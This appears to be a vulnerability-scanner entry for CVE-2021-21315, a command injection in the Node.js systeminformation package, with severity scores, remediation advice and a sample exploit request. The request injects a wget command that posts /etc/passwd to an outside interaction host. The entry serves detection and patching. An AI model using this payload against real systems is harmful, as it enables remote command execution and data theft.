| Title | Node.JS System Information Library <5.3.1 - Remote Command Injection |
|---|---|
| Author | pikpikcu |
| Severity | High |
| Impact | Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected system. |
| Remediation | Upgrade to version 5.3.1. As a workaround instead of upgrading, be sure to check or sanitize service parameters that are passed to si.inetLatency(), si.inetChecksite(), si.services(), si.processLoad() ... do only allow strings, reject any arrays. String sanitation works as expected |
| CVSS Score | 7.8 |
| EPSS Score | 0.93933 |
| CVE ID | CVE-2021-21315 |
| CWE ID | CWE-78 |
| Tags | cve cve2021 nodejs kev systeminformation node.js vkev vuln |
Node.JS System Information Library System before version 5.3.1 is susceptible to remote command injection. Node.JS (npm package “systeminformation”) is an open source collection of functions to retrieve detailed hardware, system and OS information.
GET /api/getServices?name[]=$(wget%20--post-file%20/etc/passwd%20d5jn5fple0o3cn6fkabgt4gpcpskkded6.oast.me) HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:128.0) Gecko/20100101 Firefox/128.0
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-21315.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-21315.pcap
N/AN/A